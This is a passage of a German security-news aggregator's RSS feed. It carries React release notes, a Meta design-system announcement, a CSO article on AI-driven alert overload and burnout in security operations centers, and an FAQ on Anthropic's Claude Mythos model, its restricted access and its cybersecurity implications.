(<a href="https://github.com/facebook/react/pull/37089" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/37089/hovercard">#37089</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eps1lon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eps1lon">@eps1lon</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[19.1.9 (July 21st, 2026)]]></title>
<description><![CDATA[React Server Components

Performance improvements when decoding
(#37088 by @eps1lon)]]></description>
<link>https://tsecurity.de/de/3684225/downloads/1919-july-21st-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684225/downloads/1919-july-21st-2026/</guid>
<pubDate>Tue, 21 Jul 2026 17:49:29 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>React Server Components</h2>
<ul>
<li>Performance improvements when decoding<br>
(<a href="https://github.com/facebook/react/pull/37088" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/37088/hovercard">#37088</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eps1lon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eps1lon">@eps1lon</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[19.2.8 (July 21st, 2026)]]></title>
<description><![CDATA[React Server Components

Performance improvements when decoding
(#37087 by @eps1lon)]]></description>
<link>https://tsecurity.de/de/3684224/downloads/1928-july-21st-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684224/downloads/1928-july-21st-2026/</guid>
<pubDate>Tue, 21 Jul 2026 17:49:28 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>React Server Components</h2>
<ul>
<li>Performance improvements when decoding<br>
(<a href="https://github.com/facebook/react/pull/37087" data-hovercard-type="pull_request" data-hovercard-url="/react/react/pull/37087/hovercard">#37087</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eps1lon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eps1lon">@eps1lon</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta Open-Sources Astryx: An Agent-Ready React Design System With 150+ Accessible Components, Seven Themes, and a CLI]]></title>
<description><![CDATA[Meta has open-sourced Astryx, the React and StyleX design system it ran internally for eight years across 13,000+ apps. It ships 150+ accessible components, seven themes, dark mode, templates, and an agent-ready CLI under MIT — with React 19+ required.
The post Meta Open-Sources Astryx: An Agent-...]]></description>
<link>https://tsecurity.de/de/3683124/ai-nachrichten/meta-open-sources-astryx-an-agent-ready-react-design-system-with-150-accessible-components-seven-themes-and-a-cli/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683124/ai-nachrichten/meta-open-sources-astryx-an-agent-ready-react-design-system-with-150-accessible-components-seven-themes-and-a-cli/</guid>
<pubDate>Tue, 21 Jul 2026 11:05:16 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Meta has open-sourced Astryx, the React and StyleX design system it ran internally for eight years across 13,000+ apps. It ships 150+ accessible components, seven themes, dark mode, templates, and an agent-ready CLI under MIT — with React 19+ required.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/21/meta-open-sources-astryx-an-agent-ready-react-design-system-with-150-accessible-components-seven-themes-and-a-cli/">Meta Open-Sources Astryx: An Agent-Ready React Design System With 150+ Accessible Components, Seven Themes, and a CLI</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The World Cup VAR Scandal Wasn't Really About Technology]]></title>
<description><![CDATA[The World Cup VAR controversy offers a lesson far beyond soccer, showing how poor implementation, mission creep, and public perception can undermine even the best technology. The post The World Cup VAR Scandal Wasn't Really About Technology appeared first on TechNewsWorld.]]></description>
<link>https://tsecurity.de/de/3681080/it-nachrichten/the-world-cup-var-scandal-wasnt-really-about-technology/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681080/it-nachrichten/the-world-cup-var-scandal-wasnt-really-about-technology/</guid>
<pubDate>Mon, 20 Jul 2026 14:19:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="300" height="156" src="https://www.technewsworld.com/wp-content/uploads/sites/3/2026/07/world-cup-var-technology-scandal-300x156.jpg" class="attachment-medium size-medium wp-post-image" alt="Soccer referee reviews a VAR monitor as fans react during a match." decoding="async" loading="lazy" srcset="https://www.technewsworld.com/wp-content/uploads/sites/3/2026/07/world-cup-var-technology-scandal-300x156.jpg 300w, https://www.technewsworld.com/wp-content/uploads/sites/3/2026/07/world-cup-var-technology-scandal-768x399.jpg 768w, https://www.technewsworld.com/wp-content/uploads/sites/3/2026/07/world-cup-var-technology-scandal.jpg 1000w" sizes="auto, (max-width: 300px) 100vw, 300px"></div>The World Cup VAR controversy offers a lesson far beyond soccer, showing how poor implementation, mission creep, and public perception can undermine even the best technology. The post <a rel="nofollow" href="https://www.technewsworld.com/story/the-world-cup-var-scandal-wasnt-really-about-technology-180447.html?rss=1">The World Cup VAR Scandal Wasn't Really About Technology</a> appeared first on <a rel="nofollow" href="https://www.technewsworld.com/?rss=1">TechNewsWorld</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[SOCs face a human challenge as AI speeds alerts and threats]]></title>
<description><![CDATA[Security operations centers (SOCs) have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that mus...]]></description>
<link>https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/</guid>
<pubDate>Mon, 20 Jul 2026 09:08:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/3840447/security-operations-centers-are-fundamental-to-cybersecurity-heres-how-to-build-one.html">Security operations centers (SOCs)</a> have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that must itself be evaluated.</p>



<p class="wp-block-paragraph">“There is an asymmetry here because you now have to parse through a lot of AI slop to get to, ‘Okay, is this real or not?’” <a href="https://www.linkedin.com/in/fsmontenegro/">Fernando Montenegro</a>, vice president and practice lead at The Futurum Group, tells CSO.</p>



<p class="wp-block-paragraph">His observation captures a growing concern among security leaders. AI is helping attackers and defenders move faster, but it is also creating <a href="https://www.cio.com/article/4077448/ai-workslop-the-new-productivity-killer-only-training-can-stop.html">new forms of cognitive burden</a> for the humans tasked with separating signal from noise.</p>



<p class="wp-block-paragraph">As <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">AI accelerates vulnerability discovery</a> and enables more automated reconnaissance and exploitation, defenders are increasingly responsible for overseeing systems whose outputs can be difficult to interpret or verify. The challenge is not simply more work. It is that the volume, speed, and complexity of that work are increasing simultaneously.</p>



<p class="wp-block-paragraph">Yet experts who study and advise SOCs reject the idea that collapse is inevitable. Instead, they describe an industry entering a difficult transition that could reshape how security teams operate and how humans and machines share responsibility for defense.</p>



<h2 class="wp-block-heading">The vulnerability surge is exposing years of security debt</h2>



<p class="wp-block-paragraph">One of the most immediate concerns is the possibility that <a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">AI dramatically increases the number of vulnerabilities</a> organizations must identify and remediate.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/christopher-crowley-1200339/">Chris Crowley</a>, a longtime cybersecurity instructor and SOC expert, argues that organizations are facing the <a href="https://www.csoonline.com/article/570851/7-ways-technical-debt-increases-security-risk.html">consequences of years of accumulated technology debt</a>.</p>



<p class="wp-block-paragraph">“A lot of what we’re going to have to account for in the next couple of years is a technology debt of vulnerable software that has been deployed because it’s good enough to solve the problem, but then there are all these latent cyber issues, flaws, vulnerabilities that weren’t discovered prior to deployment,” he tells CSO.</p>



<p class="wp-block-paragraph">AI-assisted vulnerability discovery has the potential to expose those weaknesses at a pace defenders have never experienced before.</p>



<p class="wp-block-paragraph">“The compression of work that is being dropped on us is unprecedented,” Crowley says. “We’ve just been ignoring it for decades.”</p>



<p class="wp-block-paragraph">He does not believe AI will necessarily create entirely new classes of vulnerabilities. Instead, he expects defenders to confront much larger volumes of familiar problems.</p>



<p class="wp-block-paragraph">“We’re going to have 100 of these simultaneously,” he says, referring to the kinds of high-priority vulnerabilities security teams traditionally handle one at a time.</p>



<p class="wp-block-paragraph">The AI challenge for many SOCs may be less a novelty problem than a volume problem. Security teams already know how to patch systems, prioritize remediation, and respond to critical exposures. What changes is the scale and speed at which those demands arrive.</p>



<p class="wp-block-paragraph">Organizations with mature patching, prioritization, escalation, and response processes may struggle but adapt. Organizations that have treated security operations as a bare-minimum compliance function may find themselves overwhelmed.</p>



<p class="wp-block-paragraph">For CISOs, Crowley says, that means treating “patch now” less as an occasional emergency state and <a href="https://www.csoonline.com/article/4196435/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management.html">more as a permanent operating posture</a>. As AI accelerates vulnerability discovery, the distinction between routine maintenance and crisis response may continue to blur.</p>



<p class="wp-block-paragraph">He compares the situation to disaster recovery planning. Organizations that wait until a crisis arrives to establish staffing plans, escalation paths, and remediation processes may discover there is not enough help available.</p>



<h2 class="wp-block-heading">Cognitive overload may become the defining challenge</h2>



<p class="wp-block-paragraph">While vulnerability discovery receives much of the attention, Montenegro believes security leaders need a broader framework for understanding AI’s impact.</p>



<p class="wp-block-paragraph">Organizations should think about AI through three lenses, he says: security for AI, AI for security, and security from AI. The first involves protecting AI systems. The second involves using AI to improve defensive operations. The third asks what happens when adversaries use AI against the organization.</p>



<p class="wp-block-paragraph">For SOCs, all three categories are beginning to overlap.</p>



<p class="wp-block-paragraph">As AI makes it easier to create reports, assessments, vulnerability submissions, and other operational artifacts, humans remain responsible for determining whether that information is accurate and useful.</p>



<p class="wp-block-paragraph">“It becomes much easier to generate content,” Montenegro says, “but if you’re going to review that content as a human, the onus on you now is that much larger.”</p>



<p class="wp-block-paragraph">The result is a new form of cognitive overload. Security professionals may spend increasing amounts of time evaluating machine-generated information instead of conducting higher-value security work.</p>



<p class="wp-block-paragraph">Organizations can increasingly use AI to summarize reports, evaluate alerts, and assist with investigations, but humans remain responsible for validating the results.</p>



<p class="wp-block-paragraph">“We’re not at the stage yet where people are comfortable” handing off critical decisions entirely to AI, he says.</p>



<p class="wp-block-paragraph">That leaves defenders caught between two competing realities: AI is creating more information to process, but AI is also becoming one of the few viable tools for managing that growing workload.</p>



<p class="wp-block-paragraph">For Montenegro, the principle should be to automate tasks, not roles. AI can absorb repetitive investigative steps, but organizations should be cautious about removing humans from the process entirely.</p>



<p class="wp-block-paragraph">The risk, he says, is that if organizations hide too much complexity behind automated outputs, analysts may lose opportunities to develop the domain knowledge needed to advance.</p>



<p class="wp-block-paragraph">“How is that professional who is reacting to those alerts growing as a professional?” he says.</p>



<h2 class="wp-block-heading">The gap between mature and struggling SOCs may widen</h2>



<p class="wp-block-paragraph">Not every organization will experience the impact of AI in the same way.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/johnlhubbard/">John Hubbard</a>, senior cybersecurity consultant and SANS instructor, believes the industry’s response will largely depend on how well organizations have prepared for operational stress before AI arrives at scale.</p>



<p class="wp-block-paragraph">“I would roughly break security operations teams into two camps,” Hubbard tells CSO. “There are the ones that are definitely struggling, are already overwhelmed. And then some are doing really well.”</p>



<p class="wp-block-paragraph">The struggling organizations tend to be understaffed, underfunded, undertrained, or dependent on ad hoc processes. Every incident feels different, forcing teams to improvise under pressure.</p>



<p class="wp-block-paragraph">“Getting hit with something like this can certainly be an accelerant for burnout if they weren’t already experiencing it,” Hubbard says.</p>



<p class="wp-block-paragraph">By contrast, mature security teams have already invested in processes, training, exercises, and automation. “The teams that are doing a really solid job now are probably not super overwhelmed because they’ve developed the processes and procedures to be ready for this kind of thing,” Hubbard says.</p>



<p class="wp-block-paragraph">He compares successful SOCs to fire departments. Firefighters cannot predict exactly where the next emergency will occur, but they know how to respond because they have rehearsed those responses repeatedly.</p>



<p class="wp-block-paragraph">“The teams that kind of can react like a fire department are the ones that are getting it right,” he says.</p>



<p class="wp-block-paragraph">Those organizations <a href="https://www.csoonline.com/article/570871/tabletop-exercises-explained-definition-examples-and-objectives.html">conduct tabletop exercises</a>, adversary emulation exercises, <a href="https://www.csoonline.com/article/571891/red-vs-blue-vs-purple-teams-how-to-run-an-effective-exercise.html">red-team assessments</a>, and <a href="https://www.csoonline.com/article/3829684/how-to-create-an-effective-incident-response-plan.html">incident response</a> drills. As a result, they can absorb additional workload without descending into panic.</p>



<h2 class="wp-block-heading">Burnout remains the industry’s most difficult problem</h2>



<p class="wp-block-paragraph">Despite widespread concern about AI-enabled attacks, none of the experts view AI solely as a threat. Several argue that AI will become essential for helping defenders cope with the challenges it creates.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/jose-marie-griffiths-9106b7b/">Jose-Marie Griffiths</a>, president emerita and former CIO of Dakota State University, believes AI can help security teams sift through overwhelming volumes of information and identify the signals that matter most.</p>



<p class="wp-block-paragraph">“People who work in SOCs are now seeing overwhelming volumes of data, and they’re getting fatigued,” Griffiths tells CSO.</p>



<p class="wp-block-paragraph">AI can help automate portions of analysis, validate alerts, and improve visibility into complex environments. But Griffiths cautions that some AI-assisted vulnerability discovery tools are also producing large numbers of false positives.</p>



<p class="wp-block-paragraph">That matters because false positives do not eliminate work. They create it. As organizations confront escalating volumes of findings, distinguishing genuine risk from erroneous results may become as important as discovering vulnerabilities in the first place.</p>



<p class="wp-block-paragraph">The experts agree that technology alone will not determine outcomes. People will.</p>



<p class="wp-block-paragraph">Crowley argues that cybersecurity professionals must recognize that uncertainty is intrinsic to the profession. “We are the group that deals with uncertainty,” he says. “That’s really and truly what cybersecurity is.”</p>



<p class="wp-block-paragraph">That reality places responsibility on both individuals and organizations. Analysts need mechanisms for managing stress. Teams need to recognize when colleagues are approaching their limits. Managers need to <a href="https://www.csoonline.com/article/3631614/cybersecurity-is-tough-4-steps-leaders-can-take-now-to-reduce-team-burnout.html">establish healthy escalation practices and realistic expectations</a>.</p>



<p class="wp-block-paragraph">Hubbard rejects the notion that burnout is inevitable.</p>



<p class="wp-block-paragraph">“It is not a foregone conclusion that security operations jobs have to be a painful grind that everyone hates,” he says.</p>



<p class="wp-block-paragraph">He has seen organizations where employees remain engaged for years because leaders actively manage workload, create supportive cultures, and encourage open communication.</p>



<p class="wp-block-paragraph">That includes making it safe for analysts to admit when they have reached their limits. “If people are unwilling to say, ‘I’m maxed out right now, and I’m going crazy,’ that’s going to be the thing that breaks a lot of teams,” Hubbard says.</p>



<p class="wp-block-paragraph">Pay alone may not solve the problem. Crowley pointed to SANS/SOC <a href="https://www.sans.org/white-papers/2026-sans-soc-survey-insights-decade-evolution-cyber-defense">survey findings</a> showing that compensation ranked fourth among retention factors, behind meaningful work, training, and professional development.</p>



<h2 class="wp-block-heading">The future SOC may look very different</h2>



<p class="wp-block-paragraph">Griffiths believes organizations will need to respond not only with better technology but with structural changes. Traditional tiered SOC models may need to evolve into more collaborative teams with diverse expertise working together in real-time.</p>



<p class="wp-block-paragraph">“I think we’re going to have to eliminate the hierarchies a little bit and have teams of people with different expertise working together,” she says.</p>



<p class="wp-block-paragraph">She also argues that organizations should invest in human expertise rather than simply increasing AI consumption. “Buy engineers, not tokens,” she says.</p>



<p class="wp-block-paragraph">Professional networks and peer support will matter as much as any tool, Griffiths says, because defenders need trusted communities where they can compare notes, share practices, and avoid facing sustained pressure in isolation.</p>



<p class="wp-block-paragraph">If there is a consensus emerging among experts, it is that AI is exposing weaknesses that already existed.</p>



<p class="wp-block-paragraph">The staffing shortages, alert fatigue, burnout, and process failures affecting SOCs did not begin with generative AI. AI is simply amplifying them.</p>



<p class="wp-block-paragraph">At the same time, AI is providing new tools that may help organizations manage those very challenges.</p>



<p class="wp-block-paragraph">The future SOC may spend less time manually triaging alerts and more time validating automated findings, conducting threat hunting, and making strategic decisions. Human expertise may increasingly be paired with AI systems that act as operational partners.</p>



<p class="wp-block-paragraph">The transition will not be painless. Some teams will struggle. Some practitioners may leave the field. Others will adapt and thrive.</p>



<p class="wp-block-paragraph">“In a way,” Griffiths says, “we’re turning the whole SOC inside out.”</p>



<p class="wp-block-paragraph">Montenegro sees the transition as a cybersecurity version of the Red Queen effect: defenders and attackers must keep running simply to stay in place.</p>



<p class="wp-block-paragraph">Borrowing from science-fiction author William Gibson, Montenegro offered perhaps the simplest description of the industry’s current moment: “The future is already here. It’s just unevenly distributed.”</p>



<p class="wp-block-paragraph">For security leaders, that future is arriving in the form of AI-generated vulnerabilities, AI-assisted investigations, and AI-enabled adversaries. The question is no longer whether security operations centers will change. It is whether organizations can adapt quickly enough to keep pace.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Claude Mythos FAQ: Capabilities, access, competitors, implications]]></title>
<description><![CDATA[1.
What is Claude Mythos?




Claude Mythos is an advanced AI model developed by Anthropic and is optimized for cybersecurity and healthcare applications.



Mythos 5 was originally released in April to a small group of vetted technology partners ahead of a planned wider rollout.



Anthropic est...]]></description>
<link>https://tsecurity.de/de/3680433/it-security-nachrichten/claude-mythos-faq-capabilities-access-competitors-implications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680433/it-security-nachrichten/claude-mythos-faq-capabilities-access-competitors-implications/</guid>
<pubDate>Mon, 20 Jul 2026 08:38:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="wp-block-idg-base-theme-faq-block faq-block">
<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">1.</span>
<h2 class="wp-block-heading">What is Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Claude Mythos is an advanced AI model developed by Anthropic and is optimized for cybersecurity and healthcare applications.</p>



<p class="wp-block-paragraph"><a href="https://www.anthropic.com/claude/mythos">Mythos 5</a> was originally released in April to a small group of vetted technology partners ahead of a planned wider rollout.</p>



<p class="wp-block-paragraph">Anthropic established <strong>Project Glasswing</strong>, a consortium that gives limited, controlled access to Mythos to infrastructure providers, open-source developers, and major technology companies. The scheme was designed to enable defenders to find and resolve vulnerabilities faster than they could be identified by attackers, <a href="https://www.csoonline.com/article/4154222/6-ways-attackers-abuse-ai-services-to-hack-your-business.html">many of which are also beginning to rely heavily on AI tools</a>.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">2.</span>
<h2 class="wp-block-heading">What are the capabilities of Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">The <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">50 initial partners of Project Glasswing</a> were able to use Mythos to find more than <a href="https://www.csoonline.com/article/4176865/project-glasswing-has-uncovered-10000-vulnerabilities-anthropic.html">10,000 high- or critical-severity vulnerabilities</a> in every major operating system and <a href="https://www.csoonline.com/article/4162259/claude-mythos-signals-a-new-era-in-ai-driven-security-finding-271-flaws-in-firefox.html">every major web browser</a>.</p>



<p class="wp-block-paragraph">The model is identifying security flaws that had evaded even the most capable security researchers for years, such as a <a href="https://www.csoonline.com/article/4159617/behind-the-mythos-hype-glasswing-has-just-one-confirmed-cve.html">27-year-old bug in OpenBSD</a>. It has also proved capable of chaining multiple vulnerabilities together.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">3.</span>
<h2 class="wp-block-heading">How is Anthropic restricting access to Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Anthropic said it was restricting the more widespread availability of the frontier AI model because its capabilities might easily be misused by attackers.</p>



<p class="wp-block-paragraph">In June the technology was released to an <a href="https://www.csoonline.com/article/4180265/anthropic-grants-project-glasswing-access-to-150-more-companies-with-a-focus-on-critical-infrastructure.html">additional 150 organizations</a>. All Mythos partners are required to accept a 30-day data retention policy for safety monitoring.</p>



<p class="wp-block-paragraph">After the availability of Mythos forced the <a href="https://www.csoonline.com/article/4166824/anthropic-mythos-spurs-white-house-to-weigh-pre-release-reviews-for-high-risk-ai-models.html">Trump administration to reconsider its “hands off” approach to AI oversight</a>, the US government applied export controls to Claude Fable 5 and Claude Mythos 5 on June 15. The restrictions — which were supposed to block access to foreign nationals both inside and outside the US — were lifted on June 30.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">4.</span>
<h2 class="wp-block-heading">What is Claude Fable?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">For broader use, Anthropic is offering <a href="https://www.csoonline.com/article/4183094/anthropic-releases-mythos-class-fable-5-model-with-safeguards-for-cyber-risks.html">Claude Fable 5</a>, which is based on the same underlying technology but comes with strict guardrails that limit operations in “risky” cybersecurity domains. Flagged queries are automatically routed to the earlier and less capable Opus 4.8 large language model (LLM) instead.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">5.</span>
<h2 class="wp-block-heading">How are Anthropic’s security vendor partners using access to Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Cisco, one of Anthropic’s Project Glasswing partners, <a href="https://blogs.cisco.com/ai/announcing-foundry-security-spec">open-sourced its Foundry Security Spec</a>, a model-agnostic “harness” for security testing, so that other vendors and enterprise security defenders could build similar workflows without starting from scratch.</p>



<p class="wp-block-paragraph">During a recent web conference, representatives from Cisco argued that defenders can use AI to identify, confirm, and resolve security issues at much greater speed and scale. Older vulnerability remediation models based on “find one issue, patch one issue” are no longer adequate because attackers are using AI moving to accelerate the path from vulnerability discovery to exploitation.</p>



<p class="wp-block-paragraph">Cisco has been using AI internally to scan 1.8 billion lines of code across its whole product portfolio.</p>



<p class="wp-block-paragraph">Smaller businesses do not need access to restricted AI models to improve security and more can be achieved in smaller shops by improving security fundamentals such as authentication, segmentation, zero trust, and prioritizing the remediation of actively exploited vulnerabilities, according to Cisco.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">6.</span>
<h2 class="wp-block-heading">Do other AI vendors offer anything comparable to Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Mythos is the most prominent example of frontier AI models that can automate zero-day discovery at a scale and speed far beyond the capability of human teams.</p>



<p class="wp-block-paragraph">Several other vendors have frontier AI models aimed towards high-capability, security-oriented operations while others have capable open models that might easily be applied to cybersecurity research.</p>



<p class="wp-block-paragraph">As a result, Claude Mythos is far from the only game in town.</p>



<p class="wp-block-paragraph">For example, OpenAI’s GPT-5.4-Cyber (and <a href="https://openai.com/index/gpt-5-5-with-trusted-access-for-cyber/">GPT-5.5</a>) has applications in vulnerability analysis and discovery as well as malware analysis and threat modelling. Security vendors, enterprises, and researchers can gain access to the technology through OpenAI’s Trusted Access for Cyber (TAC) scheme.</p>



<p class="wp-block-paragraph">Chinese cybersecurity firm <a href="https://www.reuters.com/legal/litigation/chinas-360-says-it-has-developed-tools-match-anthropics-mythos-2026-06-24/">360 Security Technology has developed Tulongfeng</a>, described as a domestic answer to Anthropic’s Mythos.</p>



<p class="wp-block-paragraph">High performance open models — including DeepSeek V3.2 and Llama 4 — can be run privately on GPU infrastructure and applied to cybersecurity research. Fugu from Japanese vendor Sakana AI offers another option in this category.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">7.</span>
<h2 class="wp-block-heading">What do cybersecurity critics say about Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Infosecurity critics note that while Claude Mythos is unquestionably advanced, marketing claims that it is reliably breaking production systems overstate its capabilities.</p>



<p class="wp-block-paragraph">Security professionals are complaining through <a href="https://www.youtube.com/watch?v=mx0CpTp3Q4Y">podcasts</a> and elsewhere about the overly sensitive guardrails in Claude Fable that downgrade to Opus 4.8 upon requests to summarize a security-related blog post or even spell the word “exploit” much less tackle any everyday information security task.</p>



<p class="wp-block-paragraph">Other experts warn that false positives are likely to be an issue for cybersecurity research using frontier AI models.</p>



<p class="wp-block-paragraph">The wider criticism is that finding more vulnerabilities faster fails to address the bigger problem of reliability fixing security bugs or non-technical attack paths such as social engineering.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">8.</span>
<h2 class="wp-block-heading">How should enterprise CISOs respond to the development of Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Western intelligence agencies that form the <a href="https://www.ncsc.gov.uk/sites/default/files/2026-06/Five-Eyes-cyber-security-agencies-statement-ai-shift.pdf">Fives Eyes alliance issued a statement warning that frontier AI models such as Claude Mythos</a> are “fundamentally transforming both offensive and defensive cyber capabilities” in a scale of months rather than years.</p>



<p class="wp-block-paragraph">“While Al will help us improve cyber defence over time, it also accelerates the speed, scale, and sophistication of cyber threats,” the group, which includes the US National Security Agency and the UK’s National Cyber Security Centre, warns.</p>



<p class="wp-block-paragraph">Enterprises need to be using AI to strengthen defenses as part of broader plans to improve cybersecurity resilience.</p>



<p class="wp-block-paragraph">AI-based systems capable of mapping realistic attack paths faster than any human adversary are fast becoming a pervasive threat, while most organizations are nowhere near ready for what that means for their threat models, one expert warns.</p>



<p class="wp-block-paragraph">“We now have AI systems that can map realistic attack paths across software, vendors, and critical infrastructure faster than human adversaries can catalog them,” says Joe Hubback, partner and CISO at consultancy Elixirr and former McKinsey Partner. “And as Mythos-class capabilities are prepared for broad commercial release, that’s no longer a niche research problem, it’s something every organization will have to factor into its threat model.”</p>



<p class="wp-block-paragraph">An <a href="https://labs.cloudsecurityalliance.org/wp-content/uploads/2026/04/mythosready-20260413.pdf">AI safety paper from the Cloud Security Alliance</a> warns that AI has significantly compressed the time between vulnerability discovery and exploitation, outpacing traditional patch-and-react security models. Organizations should brace for ongoing waves of AI-discovered vulnerabilities from Project Glasswing and other sources.</p>



<p class="wp-block-paragraph">“The capabilities seen in Mythos will quickly become more widely available, dramatically increasing the number and frequency of complex, novel attacks organizations will face,” it warns.</p>



<p class="wp-block-paragraph">Enterprise security defenders need to shift to a “Mythos-ready” approach built around continuous vulnerability operations, faster prioritization, and improved incident response.</p>
</div>
</div></div>
</div>



<p class="wp-block-paragraph"><strong>See also:</strong></p>



<ul class="wp-block-list">
<li><a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">What Anthropic Glasswing reveals about the future of vulnerability discovery</a></li>



<li><a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">Anthropic’s Mythos signals a structural cybersecurity shift</a></li>



<li><a href="https://www.csoonline.com/article/4180920/beware-the-son-of-mythos-security-experts-warn.html">Beware the ‘son of Mythos,’ security experts warn</a></li>



<li><a href="https://www.csoonline.com/article/4189600/mythos-is-a-signal-not-a-siren-what-frontier-ai-should-change-for-cisos.html">Mythos is a signal, not a siren: What frontier AI should change for CISOs</a></li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Life Cycle Impact Assessment (hackover2026)]]></title>
<description><![CDATA[Life Cycle Assessments von Produkten werden wichtiger, seit Nachhaltigkeit ein Thema ist. Kleine Veränderungen können großen Einfluss auf den ökologischen Fußabdruck haben, die richtigen Stellschrauben gilt es zu finden. Das verbreitete Werkzeug "OpenLCA" von Green Delta richtet sich zwar an Expe...]]></description>
<link>https://tsecurity.de/de/3679204/it-security-video/life-cycle-impact-assessment-hackover2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679204/it-security-video/life-cycle-impact-assessment-hackover2026/</guid>
<pubDate>Sun, 19 Jul 2026 11:03:36 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
